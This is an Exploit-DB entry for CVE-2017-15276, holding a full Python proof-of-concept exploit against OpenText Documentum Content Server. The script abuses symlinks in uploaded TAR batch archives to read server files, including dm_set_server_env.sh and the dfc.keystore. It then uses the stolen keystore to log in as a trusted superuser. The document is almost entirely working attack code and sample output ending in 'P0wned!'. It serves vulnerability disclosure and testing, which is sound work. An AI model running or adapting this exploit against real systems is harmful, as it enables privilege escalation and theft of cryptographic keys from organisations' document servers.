OpenText Documentum Content Server - Privilege Escalation

EDB-ID: 43002
Author: Andrey B. Panfilov
Published: 2017-10-17
CVE: CVE-2017-15276
Type: Webapps
Platform: Multiple
Vulnerable App: N/A

  
# Opentext Documentum Content Server (formerly known as EMC Documentum Content Server)
# contains following design gap, which allows authenticated user to gain privileges
# of superuser:
#
# Content Server allows to upload content using batches (TAR archives), when unpacking
# TAR archives Content Server fails to verify contents of TAR archive which
# causes path traversal vulnerability via symlinks, because some files on Content Server
# filesystem are security-sensitive the security flaw described above leads to
# privilege escalation
#
# The PoC below demonstrates this vulnerability:
#
# MacBook-Pro:~ $ python CVE-2017-15276.py
# usage:
# OTDocumentumTarVulnerability.py host port user password
# MacBook-Pro:~ $ python CVE-2017-15276.py docu72dev01 10001 dm_bof_registry dm_bof_registry
# Trying to connect to docu72dev01:10001 as dm_bof_registry ...
# Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377 Linux64.Oracle
# Downloading /u01/documentum/cs/product/7.2/bin/dm_set_server_env.sh
# Creating malicious dmr_content object
# Trying to find any object with content...
# Downloading /u01/documentum/cs/shared/config/dfc.keystore
# Creating malicious dmr_content object
# Trying to find any object with content...
# Trying to connect to docu72dev01:10001 as dmadmin ...
# Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377 Linux64.Oracle
# P0wned!


import io
import socket
import sys
import tarfile

from dctmpy import NULL_ID

from dctmpy.docbaseclient import DocbaseClient
from dctmpy.identity import Identity
from dctmpy.obj.typedobject import TypedObject

CIPHERS = "ALL:aNULL:!eNULL"


def usage():
print "usage:\n%s host port user password" % sys.argv[0]


def main():
if len(sys.argv) != 5:
usage()
exit(1)

(session, docbase) = create_session(*sys.argv[1:5])

if is_super_user(session):
print "Current user is a superuser, nothing to do"
exit(1)

admin_console = session.get_by_qualification(
"dm_method where object_name='dm_JMSAdminConsole'")
env_script = admin_console['method_verb']
env_script = env_script.replace('dm_jms_admin.sh', 'dm_set_server_env.sh')

keystore_path = None
script = str(download(session, env_script, bytearray()))
if not script:
print "Unable to download dm_set_server_env.sh"
exit(1)

for l in script.splitlines():
if not l.startswith("DOCUMENTUM_SHARED"):
continue
keystore_path = l.split('=')[1]
break

if not keystore_path:
print "Unable to determine DOCUMENTUM_SHARED"
exit(1)

keystore_path += "/config/dfc.keystore"
keystore = str(download(session, keystore_path, bytearray()))

if not keystore:
print "Unable to download dfc.keystore"
exit(1)

(session, docbase) = create_session(
sys.argv[1], sys.argv[2],
session.serverconfig['r_install_owner'], "",
identity=Identity(trusted=True, keystore=keystore))
if is_super_user(session):
print "P0wned!"


def download(session, path, buf):
print "Downloading %s" % path

store = session.get_by_qualification("dm_store")
format = session.get_by_qualification("dm_format where name='crtext'")

print "Creating malicious dmr_content object"

session.apply(None, NULL_ID, "BEGIN_TRANS")

handle = session.make_pusher(store['r_object_id'])
if handle < 1:
print "Unable to create pusher"
end_tran(session, False)
exit(1)

(bytes, length) = create_tar("test", path)
b = bytearray()
b.extend(bytes.read())

print "Trying to find any object with content..."
object_id = session.query(
"SELECT FOR READ r_object_id "
"FROM dm_sysobject WHERE r_content_size>0") \
.next_record()['r_object_id']

content_id = session.next_id(0x06)

if not session.start_push(handle, content_id, format['r_object_id'], len(b)):
print "Failed to start push"
end_tran(session, False)
exit(1)

session.upload(handle, b)
data_ticket = session.end_push_v2(handle)['DATA_TICKET']

content = TypedObject(session=session)
content.set_string("OBJECT_TYPE", "dmr_content")
content.set_bool("IS_NEW_OBJECT", True)
content.set_id("storage_id", store['r_object_id'])
content.set_id("format", format['r_object_id'])
content.set_int("data_ticket", data_ticket)
content.set_int("page", 0)
content.set_string("page_modifier", "dm_batch")
content.set_string("full_format", format['name'])
content.set_int("content_size", len(b))
content.set_bool("BATCH_FLAG", True)
content.set_bool("IS_ADDRENDITION", True)
content.set_id("parent_id", object_id)
if not session.save_cont_attrs(content_id, content):
print "Failed to create content"
end_tran(session, False)
exit(1)

content = session.get_by_qualification(
"dmr_content WHERE any (parent_id='%s' "
"AND page_modifier='%s')" % (object_id, "vuln"))

handle = session.make_puller(
NULL_ID, store.object_id(), content['r_object_id'],
format.object_id(), data_ticket
)

if handle == 0:
end_tran(session, False)
raise RuntimeError("Unable make puller")

for chunk in session.download(handle):
buf.extend(chunk)

end_tran(session, False)
return buf


def create_tar(linkname, linkpath):
bytes = io.BytesIO()
tar = tarfile.TarFile(fileobj=bytes, mode="w", format=tarfile.GNU_FORMAT)
add_link(tar, linkname, linkpath)
text = io.BytesIO()
text.write("file_name='%s'\n" % linkname)
text.write("page_modifier='vuln'\n")
text.write("parameters=''\n")
tarinfo = tarfile.TarInfo("property.txt")
tarinfo.size = text.tell()
text.seek(0)
tar.addfile(tarinfo, text)
tar.close()
length = bytes.tell()
bytes.seek(0)
return (bytes, length)


def add_link(tar, linkname, linkpath):
tarinfo = tarfile.TarInfo(linkname)
tarinfo.type = tarfile.SYMTYPE
tarinfo.linkpath = linkpath
tarinfo.name = linkname
tar.addfile(tarinfo=tarinfo)


def create_session(host, port, user, pwd, identity=None):
print "Trying to connect to %s:%s as %s ..." % \
(host, port, user)
session = None
try:
session = DocbaseClient(
host=host, port=int(port),
username=user, password=pwd,
identity=identity)
except socket.error, e:
if e.errno == 54:
session = DocbaseClient(
host=host, port=int(port),
username=user, password=pwd,
identity=identity,
secure=True, ciphers=CIPHERS)
else:
raise e
docbase = session.docbaseconfig['object_name']
version = session.serverconfig['r_server_version']
print "Connected to %s:%s, docbase: %s, version: %s" % \
(host, port, docbase, version)
return (session, docbase)


def is_super_user(session):
user = session.get_by_qualification("dm_user WHERE user_name=USER")
if user['user_privileges'] == 16:
return True
group = session.get_by_qualification(
"dm_group where group_name='dm_superusers' "
"AND any i_all_users_names=USER")
if group is not None:
return True

return False


def end_tran(session, commit=False):
obj = TypedObject(session=session)
obj.set_bool("COMMIT", commit)
session.apply(None, NULL_ID, "END_TRANS", obj)


if __name__ == '__main__':
main()

Related Posts

Comments